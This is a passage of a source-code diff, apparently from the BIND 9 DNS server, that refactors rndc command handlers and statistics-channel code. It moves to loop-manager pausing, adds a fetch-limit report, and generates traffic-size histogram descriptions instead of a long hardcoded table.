@@ -16077,9 +15654,7 @@ mkey_destroy(named_server_t *server, dns_view_t *view, isc_buffer_t **text) {
 	result = ISC_R_SUCCESS;
 
 cleanup:
-	if (exclusive) {
-		isc_task_endexclusive(server->task);
-	}
+	isc_loopmgr_resume(named_g_loopmgr);
 	return (result);
 }
 
@@ -16089,11 +15664,9 @@ mkey_dumpzone(dns_view_t *view, isc_buffer_t **text) {
 	dns_db_t *db = NULL;
 	dns_dbversion_t *ver = NULL;
 	dns_rriterator_t rrit;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	dns_name_t *prevname = NULL;
 
-	isc_stdtime_get(&now);
-
 	CHECK(dns_zone_getdb(view->managed_keys, &db));
 	dns_db_currentversion(db, &ver);
 	dns_rriterator_init(&rrit, db, ver, 0);
@@ -16236,10 +15809,12 @@ named_server_mkeys(named_server_t *server, isc_lex_t *lex,
 	dns_view_t *view = NULL;
 	dns_rdataclass_t rdclass;
 	char msg[DNS_NAME_FORMATSIZE + 500] = "";
-	enum { NONE, STATUS, REFRESH, SYNC, DESTROY } opt = NONE;
+	enum { NONE, STAT, REFRESH, SYNC, DESTROY } opt = NONE;
 	bool found = false;
 	bool first = true;
 
+	REQUIRE(text != NULL);
+
 	/* Skip rndc command name */
 	cmd = next_token(lex, text);
 	if (cmd == NULL) {
@@ -16253,7 +15828,7 @@ named_server_mkeys(named_server_t *server, isc_lex_t *lex,
 	}
 
 	if (strcasecmp(cmd, "status") == 0) {
-		opt = STATUS;
+		opt = STAT;
 	} else if (strcasecmp(cmd, "refresh") == 0) {
 		opt = REFRESH;
 	} else if (strcasecmp(cmd, "sync") == 0) {
@@ -16312,7 +15887,7 @@ named_server_mkeys(named_server_t *server, isc_lex_t *lex,
 			}
 			CHECK(mkey_refresh(view, text));
 			break;
-		case STATUS:
+		case STAT:
 			if (!first) {
 				CHECK(putstr(text, "\n\n"));
 			}
@@ -16325,11 +15900,10 @@ named_server_mkeys(named_server_t *server, isc_lex_t *lex,
 			if (!first) {
 				CHECK(putstr(text, "\n"));
 			}
-			CHECK(mkey_destroy(server, view, text));
+			CHECK(mkey_destroy(view, text));
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		if (viewtxt != NULL) {
@@ -16359,6 +15933,8 @@ named_server_dnstap(named_server_t *server, isc_lex_t *lex,
 	bool reopen = false;
 	int backups = 0;
 
+	REQUIRE(text != NULL);
+
 	if (server->dtenv == NULL) {
 		return (ISC_R_NOTFOUND);
 	}
@@ -16472,13 +16048,8 @@ named_server_tcptimeouts(isc_lex_t *lex, isc_buffer_t **text) {
 			CHECK(ISC_R_RANGE);
 		}
 
-		result = isc_task_beginexclusive(named_g_server->task);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
 		isc_nm_settimeouts(named_g_netmgr, initial, idle, keepalive,
 				   advertised);
-
-		isc_task_endexclusive(named_g_server->task);
 	}
 
 	snprintf(msg, sizeof(msg), "tcp-initial-timeout=%u\n", initial / 100);
@@ -16511,7 +16082,8 @@ named_server_servestale(named_server_t *server, isc_lex_t *lex,
 	dns_stale_answer_t staleanswersok = dns_stale_answer_conf;
 	bool wantstatus = false;
 	isc_result_t result = ISC_R_SUCCESS;
-	bool exclusive = false;
+
+	REQUIRE(text != NULL);
 
 	/* Skip the command name. */
 	ptr = next_token(lex, text);
@@ -16567,9 +16139,7 @@ named_server_servestale(named_server_t *server, isc_lex_t *lex,
 		}
 	}
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	exclusive = true;
+	isc_loopmgr_pause(named_g_loopmgr);
 
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
@@ -16605,27 +16175,46 @@ named_server_servestale(named_server_t *server, isc_lex_t *lex,
 		switch (view->staleanswersok) {
 		case dns_stale_answer_yes:
 			if (stale_ttl > 0) {
-				CHECK(putstr(text, "on (rndc)"));
+				CHECK(putstr(text, "stale cache "
+						   "enabled; stale "
+						   "answers enabled"));
 			} else {
-				CHECK(putstr(text, "off (not-cached)"));
+				CHECK(putstr(text, "stale cache disabled; "
+						   "stale "
+						   "answers unavailable"));
 			}
 			break;
 		case dns_stale_answer_no:
-			CHECK(putstr(text, "off (rndc)"));
+			if (stale_ttl > 0) {
+				CHECK(putstr(text, "stale cache "
+						   "enabled; stale "
+						   "answers disabled"));
+			} else {
+				CHECK(putstr(text, "stale cache disabled; "
+						   "stale "
+						   "answers unavailable"));
+			}
 			break;
 		case dns_stale_answer_conf:
 			if (view->staleanswersenable && stale_ttl > 0) {
-				CHECK(putstr(text, "on"));
-			} else if (view->staleanswersenable) {
-				CHECK(putstr(text, "off (not-cached)"));
+				CHECK(putstr(text, "stale cache "
+						   "enabled; stale "
+						   "answers enabled"));
+			} else if (stale_ttl > 0) {
+				CHECK(putstr(text, "stale cache "
+						   "enabled; stale "
+						   "answers disabled"));
 			} else {
-				CHECK(putstr(text, "off"));
+				CHECK(putstr(text, "stale cache disabled; "
+						   "stale "
+						   "answers unavailable"));
 			}
 			break;
 		}
 		if (stale_ttl > 0) {
 			snprintf(msg, sizeof(msg),
-				 " (stale-answer-ttl=%u max-stale-ttl=%u "
+				 " (stale-answer-ttl=%u "
+				 "max-stale-ttl=%u "
 				 "stale-refresh-time=%u)",
 				 view->staleanswerttl, stale_ttl,
 				 stale_refresh);
@@ -16639,10 +16228,95 @@ named_server_servestale(named_server_t *server, isc_lex_t *lex,
 	}
 
 cleanup:
-	if (exclusive) {
-		isc_task_endexclusive(named_g_server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
+
+	if (isc_buffer_usedlength(*text) > 0) {
+		(void)putnull(text);
+	}
+
+	return (result);
+}
+
+isc_result_t
+named_server_fetchlimit(named_server_t *server, isc_lex_t *lex,
+			isc_buffer_t **text) {
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_view_t *view = NULL;
+	char *ptr = NULL, *viewname = NULL;
+	bool first = true;
+	dns_adb_t *adb = NULL;
+
+	REQUIRE(text != NULL);
+
+	/* Skip the command name. */
+	ptr = next_token(lex, text);
+	if (ptr == NULL) {
+		return (ISC_R_UNEXPECTEDEND);
 	}
 
+	/* Look for the view name. */
+	viewname = next_token(lex, text);
+	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
+	     view = ISC_LIST_NEXT(view, link))
+	{
+		char tbuf[100];
+		unsigned int used;
+		uint32_t val;
+		int s;
+
+		if (view->rdclass != dns_rdataclass_in) {
+			continue;
+		}
+
+		if (viewname != NULL && strcasecmp(view->name, viewname) != 0) {
+			continue;
+		}
+
+		dns_view_getadb(view, &adb);
+		if (adb == NULL) {
+			continue;
+		}
+
+		if (!first) {
+			CHECK(putstr(text, "\n"));
+		}
+		CHECK(putstr(text, "Rate limited servers, view "));
+		CHECK(putstr(text, view->name));
+
+		dns_adb_getquota(adb, &val, NULL, NULL, NULL, NULL);
+		s = snprintf(tbuf, sizeof(tbuf),
+			     " (fetches-per-server %u):", val);
+		if (s < 0 || (unsigned int)s > sizeof(tbuf)) {
+			CHECK(ISC_R_NOSPACE);
+		}
+		first = false;
+		CHECK(putstr(text, tbuf));
+		used = isc_buffer_usedlength(*text);
+		CHECK(dns_adb_dumpquota(adb, text));
+		if (used == isc_buffer_usedlength(*text)) {
+			CHECK(putstr(text, "\n  None."));
+		}
+
+		CHECK(putstr(text, "\nRate limited servers, view "));
+		CHECK(putstr(text, view->name));
+		val = dns_resolver_getfetchesperzone(view->resolver);
+		s = snprintf(tbuf, sizeof(tbuf),
+			     " (fetches-per-zone %u):", val);
+		if (s < 0 || (unsigned int)s > sizeof(tbuf)) {
+			CHECK(ISC_R_NOSPACE);
+		}
+		CHECK(putstr(text, tbuf));
+		used = isc_buffer_usedlength(*text);
+		CHECK(dns_resolver_dumpquota(view->resolver, text));
+		if (used == isc_buffer_usedlength(*text)) {
+			CHECK(putstr(text, "\n  None."));
+		}
+		dns_adb_detach(&adb);
+	}
+cleanup:
+	if (adb != NULL) {
+		dns_adb_detach(&adb);
+	}
 	if (isc_buffer_usedlength(*text) > 0) {
 		(void)putnull(text);
 	}
diff --git a/bin/named/statschannel.c b/bin/named/statschannel.c
index 7e1e982646..349bec0eef 100644
--- a/bin/named/statschannel.c
+++ b/bin/named/statschannel.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,12 +20,11 @@
 #include <isc/httpd.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/print.h>
-#include <isc/socket.h>
 #include <isc/stats.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
+#include <dns/adb.h>
 #include <dns/cache.h>
 #include <dns/db.h>
 #include <dns/opcode.h>
@@ -53,6 +54,14 @@
 
 #include "xsl_p.h"
 
+#define STATS_XML_VERSION_MAJOR "3"
+#define STATS_XML_VERSION_MINOR "14"
+#define STATS_XML_VERSION	STATS_XML_VERSION_MAJOR "." STATS_XML_VERSION_MINOR
+
+#define STATS_JSON_VERSION_MAJOR "1"
+#define STATS_JSON_VERSION_MINOR "8"
+#define STATS_JSON_VERSION	 STATS_JSON_VERSION_MAJOR "." STATS_JSON_VERSION_MINOR
+
 #define CHECK(m)                               \
 	do {                                   \
 		result = (m);                  \
@@ -68,13 +77,12 @@ struct named_statschannel {
 	isc_mem_t *mctx;
 
 	/*
-	 * Locked by channel lock: can be referenced and modified by both
-	 * the server task and the channel task.
+	 * Locked by channel lock
 	 */
 	isc_mutex_t lock;
 	dns_acl_t *acl;
 
-	/* Locked by server task */
+	/* Locked by main loop. */
 	ISC_LINK(struct named_statschannel) link;
 };
 
@@ -104,8 +112,8 @@ user_zonetype(dns_zone_t *zone) {
 		const dns_zonetype_t type;
 		const char *const string;
 	} typemap[] = { { dns_zone_none, "none" },
-			{ dns_zone_master, "master" },
-			{ dns_zone_slave, "slave" },
+			{ dns_zone_primary, "primary" },
+			{ dns_zone_secondary, "secondary" },
 			{ dns_zone_mirror, "mirror" },
 			{ dns_zone_stub, "stub" },
 			{ dns_zone_staticstub, "static-stub" },
@@ -202,7 +210,7 @@ static int tcpoutsizestats_index[dns_sizecounter_out_max];
 static int dnstapstats_index[dns_dnstapcounter_max];
 static int gluecachestats_index[dns_gluecachestatscounter_max];
 
-static inline void
+static void
 set_desc(int counter, int maxcounter, const char *fdesc, const char **fdescs,
 	 const char *xdesc, const char **xdescs) {
 	REQUIRE(counter < maxcounter);
@@ -220,6 +228,30 @@ set_desc(int counter, int maxcounter, const char *fdesc, const char **fdescs,
 #endif /* if defined(EXTENDED_STATS) */
 }
 
+static const char *
+get_histo_desc(const char *prefix, int i, int inf, bool ext) {
+	static char buf[(DNS_SIZEHISTO_MAXIN + DNS_SIZEHISTO_MAXOUT) * 80];
+	static size_t used = 0;
+	char *desc = buf + used;
+	size_t space = sizeof(buf) - used;
+	int min = DNS_SIZEHISTO_QUANTUM * i;
+	int max = DNS_SIZEHISTO_QUANTUM * (i + 1) - 1;
+	int len = 0;
+
+	if (!ext && i < inf) {
+		len = snprintf(desc, space, "%s %u-%u bytes", prefix, min, max);
+	} else if (!ext && i >= inf) {
+		len = snprintf(desc, space, "%s %u+ bytes", prefix, min);
+	} else if (ext && i < inf) {
+		len = snprintf(desc, space, "%u-%u", min, max);
+	} else if (ext && i >= inf) {
+		len = snprintf(desc, space, "%u+", min);
+	}
+	INSIST(0 < len && (size_t)len < space);
+	used += len + 1;
+	return (desc);
+}
+
 static void
 init_desc(void) {
 	int i;
@@ -326,7 +358,7 @@ init_desc(void) {
 	SET_NSSTATDESC(badcookie, "sent badcookie response", "QryBADCOOKIE");
 	SET_NSSTATDESC(nxdomainsynth, "synthesized a NXDOMAIN response",
 		       "SynthNXDOMAIN");
-	SET_NSSTATDESC(nodatasynth, "syththesized a no-data response",
+	SET_NSSTATDESC(nodatasynth, "synthesized a no-data response",
 		       "SynthNODATA");
 	SET_NSSTATDESC(wildcardsynth, "synthesized a wildcard response",
 		       "SynthWILDCARD");
@@ -342,6 +374,7 @@ init_desc(void) {
 	SET_NSSTATDESC(reclimitdropped,
 		       "queries dropped due to recursive client limit",
 		       "RecLimitDropped");
+	SET_NSSTATDESC(updatequota, "Update quota exceeded", "UpdateQuota");
 
 	INSIST(i == ns_statscounter_max);
 
@@ -431,6 +464,8 @@ init_desc(void) {
 	SET_RESSTATDESC(zonequota, "spilled due to zone quota", "ZoneQuota");
 	SET_RESSTATDESC(serverquota, "spilled due to server quota",
 			"ServerQuota");
+	SET_RESSTATDESC(clientquota, "spilled due to clients per query quota",
+			"ClientQuota");
 	SET_RESSTATDESC(nextitem, "waited for next item", "NextItem");
 	SET_RESSTATDESC(priming, "priming queries", "Priming");
 
@@ -746,575 +781,49 @@ init_desc(void) {
 #endif /* if defined(EXTENDED_STATS) */
 
 	/* Initialize traffic size statistics */
-	for (i = 0; i < dns_sizecounter_in_max; i++) {
-		udpinsizestats_desc[i] = NULL;
-		tcpinsizestats_desc[i] = NULL;
-#if defined(EXTENDED_STATS)
-		udpinsizestats_xmldesc[i] = NULL;
-		tcpinsizestats_xmldesc[i] = NULL;
-#endif /* if defined(EXTENDED_STATS) */
-	}
-	for (i = 0; i < dns_sizecounter_out_max; i++) {
-		udpoutsizestats_desc[i] = NULL;
-		tcpoutsizestats_desc[i] = NULL;
+
+	for (i = 0; i < DNS_SIZEHISTO_MAXOUT; i++) {
+		udpoutsizestats_index[i] = i;
+		tcpoutsizestats_index[i] = i;
+		udpoutsizestats_desc[i] = get_histo_desc(
+			"responses sent", i, DNS_SIZEHISTO_MAXOUT, false);
+		tcpoutsizestats_desc[i] = udpoutsizestats_desc[i];
 #if defined(EXTENDED_STATS)
-		udpoutsizestats_xmldesc[i] = NULL;
-		tcpoutsizestats_xmldesc[i] = NULL;
+		udpoutsizestats_xmldesc[i] = get_histo_desc(
+			"responses sent", i, DNS_SIZEHISTO_MAXOUT, true);
+		tcpoutsizestats_xmldesc[i] = udpoutsizestats_xmldesc[i];
 #endif /* if defined(EXTENDED_STATS) */
 	}
 
-#define SET_SIZESTATDESC(counterid, desc, xmldesc, inout)       \
-	do {                                                    \
-		set_desc(dns_sizecounter_##inout##_##counterid, \
-			 dns_sizecounter_##inout##_max, desc,   \
-			 udp##inout##sizestats_desc, xmldesc,   \
-			 udp##inout##sizestats_xmldesc);        \
-		set_desc(dns_sizecounter_##inout##_##counterid, \
-			 dns_sizecounter_##inout##_max, desc,   \
-			 tcp##inout##sizestats_desc, xmldesc,   \
-			 tcp##inout##sizestats_xmldesc);        \
-		udp##inout##sizestats_index[i] =                \
-			dns_sizecounter_##inout##_##counterid;  \
-		tcp##inout##sizestats_index[i] =                \
-			dns_sizecounter_##inout##_##counterid;  \
-		i++;                                            \
-	} while (0)
-
-	i = 0;
-	SET_SIZESTATDESC(0, "requests received 0-15 bytes", "0-15", in);
-	SET_SIZESTATDESC(16, "requests received 16-31 bytes", "16-31", in);
-	SET_SIZESTATDESC(32, "requests received 32-47 bytes", "32-47", in);
-	SET_SIZESTATDESC(48, "requests received 48-63 bytes", "48-63", in);
-	SET_SIZESTATDESC(64, "requests received 64-79 bytes", "64-79", in);
-	SET_SIZESTATDESC(80, "requests received 80-95 bytes", "80-95", in);
-	SET_SIZESTATDESC(96, "requests received 96-111 bytes", "96-111", in);
-	SET_SIZESTATDESC(112, "requests received 112-127 bytes", "112-127", in);
-	SET_SIZESTATDESC(128, "requests received 128-143 bytes", "128-143", in);
-	SET_SIZESTATDESC(144, "requests received 144-159 bytes", "144-159", in);
-	SET_SIZESTATDESC(160, "requests received 160-175 bytes", "160-175", in);
-	SET_SIZESTATDESC(176, "requests received 176-191 bytes", "176-191", in);
-	SET_SIZESTATDESC(192, "requests received 192-207 bytes", "192-207", in);
-	SET_SIZESTATDESC(208, "requests received 208-223 bytes", "208-223", in);
-	SET_SIZESTATDESC(224, "requests received 224-239 bytes", "224-239", in);
-	SET_SIZESTATDESC(240, "requests received 240-255 bytes", "240-255", in);
-	SET_SIZESTATDESC(256, "requests received 256-271 bytes", "256-271", in);
-	SET_SIZESTATDESC(272, "requests received 272-287 bytes", "272-287", in);
-	SET_SIZESTATDESC(288, "requests received 288+ bytes", "288+", in);
-	INSIST(i == dns_sizecounter_in_max);
-
-	i = 0;
-	SET_SIZESTATDESC(0, "responses sent 0-15 bytes", "0-15", out);
-	SET_SIZESTATDESC(16, "responses sent 16-31 bytes", "16-31", out);
-	SET_SIZESTATDESC(32, "responses sent 32-47 bytes", "32-47", out);
-	SET_SIZESTATDESC(48, "responses sent 48-63 bytes", "48-63", out);
-	SET_SIZESTATDESC(64, "responses sent 64-79 bytes", "64-79", out);
-	SET_SIZESTATDESC(80, "responses sent 80-95 bytes", "80-95", out);
-	SET_SIZESTATDESC(96, "responses sent 96-111 bytes", "96-111", out);
-	SET_SIZESTATDESC(112, "responses sent 112-127 bytes", "112-127", out);
-	SET_SIZESTATDESC(128, "responses sent 128-143 bytes", "128-143", out);
-	SET_SIZESTATDESC(144, "responses sent 144-159 bytes", "144-159", out);
-	SET_SIZESTATDESC(160, "responses sent 160-175 bytes", "160-175", out);
-	SET_SIZESTATDESC(176, "responses sent 176-191 bytes", "176-191", out);
-	SET_SIZESTATDESC(192, "responses sent 192-207 bytes", "192-207", out);
-	SET_SIZESTATDESC(208, "responses sent 208-223 bytes", "208-223", out);
-	SET_SIZESTATDESC(224, "responses sent 224-239 bytes", "224-239", out);
-	SET_SIZESTATDESC(240, "responses sent 240-255 bytes", "240-255", out);
-	SET_SIZESTATDESC(256, "responses sent 256-271 bytes", "256-271", out);
-	SET_SIZESTATDESC(272, "responses sent 272-287 bytes", "272-287", out);
-	SET_SIZESTATDESC(288, "responses sent 288-303 bytes", "288-303", out);
-	SET_SIZESTATDESC(304, "responses sent 304-319 bytes", "304-319", out);
-	SET_SIZESTATDESC(320, "responses sent 320-335 bytes", "320-335", out);
-	SET_SIZESTATDESC(336, "responses sent 336-351 bytes", "336-351", out);
-	SET_SIZESTATDESC(352, "responses sent 352-367 bytes", "352-367", out);
-	SET_SIZESTATDESC(368, "responses sent 368-383 bytes", "368-383", out);
-	SET_SIZESTATDESC(384, "responses sent 384-399 bytes", "384-399", out);
-	SET_SIZESTATDESC(400, "responses sent 400-415 bytes", "400-415", out);
-	SET_SIZESTATDESC(416, "responses sent 416-431 bytes", "416-431", out);
-	SET_SIZESTATDESC(432, "responses sent 432-447 bytes", "432-447", out);
-	SET_SIZESTATDESC(448, "responses sent 448-463 bytes", "448-463", out);
-	SET_SIZESTATDESC(464, "responses sent 464-479 bytes", "464-479", out);
-	SET_SIZESTATDESC(480, "responses sent 480-495 bytes", "480-495", out);
-	SET_SIZESTATDESC(496, "responses sent 496-511 bytes", "496-511", out);
-	SET_SIZESTATDESC(512, "responses sent 512-527 bytes", "512-527", out);
-	SET_SIZESTATDESC(528, "responses sent 528-543 bytes", "528-543", out);
-	SET_SIZESTATDESC(544, "responses sent 544-559 bytes", "544-559", out);
-	SET_SIZESTATDESC(560, "responses sent 560-575 bytes", "560-575", out);
-	SET_SIZESTATDESC(576, "responses sent 576-591 bytes", "576-591", out);
-	SET_SIZESTATDESC(592, "responses sent 592-607 bytes", "592-607", out);
-	SET_SIZESTATDESC(608, "responses sent 608-623 bytes", "608-623", out);
-	SET_SIZESTATDESC(624, "responses sent 624-639 bytes", "624-639", out);
-	SET_SIZESTATDESC(640, "responses sent 640-655 bytes", "640-655", out);
-	SET_SIZESTATDESC(656, "responses sent 656-671 bytes", "656-671", out);
-	SET_SIZESTATDESC(672, "responses sent 672-687 bytes", "672-687", out);
-	SET_SIZESTATDESC(688, "responses sent 688-703 bytes", "688-703", out);
-	SET_SIZESTATDESC(704, "responses sent 704-719 bytes", "704-719", out);
-	SET_SIZESTATDESC(720, "responses sent 720-735 bytes", "720-735", out);
-	SET_SIZESTATDESC(736, "responses sent 736-751 bytes", "736-751", out);
-	SET_SIZESTATDESC(752, "responses sent 752-767 bytes", "752-767", out);
-	SET_SIZESTATDESC(768, "responses sent 768-783 bytes", "768-783", out);
-	SET_SIZESTATDESC(784, "responses sent 784-799 bytes", "784-799", out);
-	SET_SIZESTATDESC(800, "responses sent 800-815 bytes", "800-815", out);
-	SET_SIZESTATDESC(816, "responses sent 816-831 bytes", "816-831", out);
-	SET_SIZESTATDESC(832, "responses sent 832-847 bytes", "832-847", out);
-	SET_SIZESTATDESC(848, "responses sent 848-863 bytes", "848-863", out);
-	SET_SIZESTATDESC(864, "responses sent 864-879 bytes", "864-879", out);
-	SET_SIZESTATDESC(880, "responses sent 880-895 bytes", "880-895", out);
-	SET_SIZESTATDESC(896, "responses sent 896-911 bytes", "896-911", out);
-	SET_SIZESTATDESC(912, "responses sent 912-927 bytes", "912-927", out);
-	SET_SIZESTATDESC(928, "responses sent 928-943 bytes", "928-943", out);
-	SET_SIZESTATDESC(944, "responses sent 944-959 bytes", "944-959", out);
-	SET_SIZESTATDESC(960, "responses sent 960-975 bytes", "960-975", out);
-	SET_SIZESTATDESC(976, "responses sent 976-991 bytes", "976-991", out);
-	SET_SIZESTATDESC(992, "responses sent 992-1007 bytes", "992-1007", out);
-	SET_SIZESTATDESC(1008, "responses sent 1008-1023 bytes", "1008-1023",
-			 out);
-	SET_SIZESTATDESC(1024, "responses sent 1024-1039 bytes", "1024-1039",
-			 out);
-	SET_SIZESTATDESC(1040, "responses sent 1040-1055 bytes", "1040-1055",
-			 out);
-	SET_SIZESTATDESC(1056, "responses sent 1056-1071 bytes", "1056-1071",
-			 out);
-	SET_SIZESTATDESC(1072, "responses sent 1072-1087 bytes", "1072-1087",
-			 out);
-	SET_SIZESTATDESC(1088, "responses sent 1088-1103 bytes", "1088-1103",
-			 out);
-	SET_SIZESTATDESC(1104, "responses sent 1104-1119 bytes", "1104-1119",
-			 out);
-	SET_SIZESTATDESC(1120, "responses sent 1120-1135 bytes", "1120-1135",
-			 out);
-	SET_SIZESTATDESC(1136, "responses sent 1136-1151 bytes", "1136-1151",
-			 out);
-	SET_SIZESTATDESC(1152, "responses sent 1152-1167 bytes", "1152-1167",
-			 out);
-	SET_SIZESTATDESC(1168, "responses sent 1168-1183 bytes", "1168-1183",
-			 out);
-	SET_SIZESTATDESC(1184, "responses sent 1184-1199 bytes", "1184-1199",
-			 out);
-	SET_SIZESTATDESC(1200, "responses sent 1200-1215 bytes", "1200-1215",
-			 out);
-	SET_SIZESTATDESC(1216, "responses sent 1216-1231 bytes", "1216-1231",
-			 out);
-	SET_SIZESTATDESC(1232, "responses sent 1232-1247 bytes", "1232-1247",
-			 out);
-	SET_SIZESTATDESC(1248, "responses sent 1248-1263 bytes", "1248-1263",
-			 out);
-	SET_SIZESTATDESC(1264, "responses sent 1264-1279 bytes", "1264-1279",
-			 out);
-	SET_SIZESTATDESC(1280, "responses sent 1280-1295 bytes", "1280-1295",
-			 out);
-	SET_SIZESTATDESC(1296, "responses sent 1296-1311 bytes", "1296-1311",
-			 out);
-	SET_SIZESTATDESC(1312, "responses sent 1312-1327 bytes", "1312-1327",
-			 out);
-	SET_SIZESTATDESC(1328, "responses sent 1328-1343 bytes", "1328-1343",
-			 out);
-	SET_SIZESTATDESC(1344, "responses sent 1344-1359 bytes", "1344-1359",
-			 out);
-	SET_SIZESTATDESC(1360, "responses sent 1360-1375 bytes", "1360-1375",
-			 out);
-	SET_SIZESTATDESC(1376, "responses sent 1376-1391 bytes", "1376-1391",
-			 out);
-	SET_SIZESTATDESC(1392, "responses sent 1392-1407 bytes", "1392-1407",
-			 out);
-	SET_SIZESTATDESC(1408, "responses sent 1408-1423 bytes", "1408-1423",
-			 out);
-	SET_SIZESTATDESC(1424, "responses sent 1424-1439 bytes", "1424-1439",
-			 out);
-	SET_SIZESTATDESC(1440, "responses sent 1440-1455 bytes", "1440-1455",
-			 out);
-	SET_SIZESTATDESC(1456, "responses sent 1456-1471 bytes", "1456-1471",
-			 out);
-	SET_SIZESTATDESC(1472, "responses sent 1472-1487 bytes", "1472-1487",
-			 out);
-	SET_SIZESTATDESC(1488, "responses sent 1488-1503 bytes", "1488-1503",
-			 out);
-	SET_SIZESTATDESC(1504, "responses sent 1504-1519 bytes", "1504-1519",
-			 out);
-	SET_SIZESTATDESC(1520, "responses sent 1520-1535 bytes", "1520-1535",
-			 out);
-	SET_SIZESTATDESC(1536, "responses sent 1536-1551 bytes", "1536-1551",
-			 out);
-	SET_SIZESTATDESC(1552, "responses sent 1552-1567 bytes", "1552-1567",
-			 out);
-	SET_SIZESTATDESC(1568, "responses sent 1568-1583 bytes", "1568-1583",
-			 out);
-	SET_SIZESTATDESC(1584, "responses sent 1584-1599 bytes", "1584-1599",
-			 out);
-	SET_SIZESTATDESC(1600, "responses sent 1600-1615 bytes", "1600-1615",
-			 out);
-	SET_SIZESTATDESC(1616, "responses sent 1616-1631 bytes", "1616-1631",
-			 out);
-	SET_SIZESTATDESC(1632, "responses sent 1632-1647 bytes", "1632-1647",
-			 out);
-	SET_SIZESTATDESC(1648, "responses sent 1648-1663 bytes", "1648-1663",
-			 out);
-	SET_SIZESTATDESC(1664, "responses sent 1664-1679 bytes", "1664-1679",
-			 out);
-	SET_SIZESTATDESC(1680, "responses sent 1680-1695 bytes", "1680-1695",
-			 out);
-	SET_SIZESTATDESC(1696, "responses sent 1696-1711 bytes", "1696-1711",
-			 out);
-	SET_SIZESTATDESC(1712, "responses sent 1712-1727 bytes", "1712-1727",
-			 out);
-	SET_SIZESTATDESC(1728, "responses sent 1728-1743 bytes", "1728-1743",
-			 out);
-	SET_SIZESTATDESC(1744, "responses sent 1744-1759 bytes", "1744-1759",
-			 out);
-	SET_SIZESTATDESC(1760, "responses sent 1760-1775 bytes", "1760-1775",
-			 out);
-	SET_SIZESTATDESC(1776, "responses sent 1776-1791 bytes", "1776-1791",
-			 out);
-	SET_SIZESTATDESC(1792, "responses sent 1792-1807 bytes", "1792-1807",
-			 out);
-	SET_SIZESTATDESC(1808, "responses sent 1808-1823 bytes", "1808-1823",
-			 out);
-	SET_SIZESTATDESC(1824, "responses sent 1824-1839 bytes", "1824-1839",
-			 out);
-	SET_SIZESTATDESC(1840, "responses sent 1840-1855 bytes", "1840-1855",
-			 out);
-	SET_SIZESTATDESC(1856, "responses sent 1856-1871 bytes", "1856-1871",
-			 out);
-	SET_SIZESTATDESC(1872, "responses sent 1872-1887 bytes", "1872-1887",
-			 out);
-	SET_SIZESTATDESC(1888, "responses sent 1888-1903 bytes", "1888-1903",
-			 out);
-	SET_SIZESTATDESC(1904, "responses sent 1904-1919 bytes", "1904-1919",
-			 out);
-	SET_SIZESTATDESC(1920, "responses sent 1920-1935 bytes", "1920-1935",
-			 out);
-	SET_SIZESTATDESC(1936, "responses sent 1936-1951 bytes", "1936-1951",
-			 out);
-	SET_SIZESTATDESC(1952, "responses sent 1952-1967 bytes", "1952-1967",
-			 out);
-	SET_SIZESTATDESC(1968, "responses sent 1968-1983 bytes", "1968-1983",
-			 out);
-	SET_SIZESTATDESC(1984, "responses sent 1984-1999 bytes", "1984-1999",
-			 out);
-	SET_SIZESTATDESC(2000, "responses sent 2000-2015 bytes", "2000-2015",
-			 out);
-	SET_SIZESTATDESC(2016, "responses sent 2016-2031 bytes", "2016-2031",
-			 out);
-	SET_SIZESTATDESC(2032, "responses sent 2032-2047 bytes", "2032-2047",
-			 out);
-	SET_SIZESTATDESC(2048, "responses sent 2048-2063 bytes", "2048-2063",
-			 out);
-	SET_SIZESTATDESC(2064, "responses sent 2064-2079 bytes", "2064-2079",
-			 out);
-	SET_SIZESTATDESC(2080, "responses sent 2080-2095 bytes", "2080-2095",
-			 out);
-	SET_SIZESTATDESC(2096, "responses sent 2096-2111 bytes", "2096-2111",
-			 out);
-	SET_SIZESTATDESC(2112, "responses sent 2112-2127 bytes", "2112-2127",
-			 out);
-	SET_SIZESTATDESC(2128, "responses sent 2128-2143 bytes", "2128-2143",
-			 out);
-	SET_SIZESTATDESC(2144, "responses sent 2144-2159 bytes", "2144-2159",
-			 out);
-	SET_SIZESTATDESC(2160, "responses sent 2160-2175 bytes", "2160-2175",
-			 out);
-	SET_SIZESTATDESC(2176, "responses sent 2176-2191 bytes", "2176-2191",
-			 out);
-	SET_SIZESTATDESC(2192, "responses sent 2192-2207 bytes", "2192-2207",
-			 out);
-	SET_SIZESTATDESC(2208, "responses sent 2208-2223 bytes", "2208-2223",
-			 out);
-	SET_SIZESTATDESC(2224, "responses sent 2224-2239 bytes", "2224-2239",
-			 out);
-	SET_SIZESTATDESC(2240, "responses sent 2240-2255 bytes", "2240-2255",
-			 out);
-	SET_SIZESTATDESC(2256, "responses sent 2256-2271 bytes", "2256-2271",
-			 out);
-	SET_SIZESTATDESC(2272, "responses sent 2272-2287 bytes", "2272-2287",
-			 out);
-	SET_SIZESTATDESC(2288, "responses sent 2288-2303 bytes", "2288-2303",
-			 out);
-	SET_SIZESTATDESC(2304, "responses sent 2304-2319 bytes", "2304-2319",
-			 out);
-	SET_SIZESTATDESC(2320, "responses sent 2320-2335 bytes", "2320-2335",
-			 out);
-	SET_SIZESTATDESC(2336, "responses sent 2336-2351 bytes", "2336-2351",
-			 out);
-	SET_SIZESTATDESC(2352, "responses sent 2352-2367 bytes", "2352-2367",
-			 out);
-	SET_SIZESTATDESC(2368, "responses sent 2368-2383 bytes", "2368-2383",
-			 out);
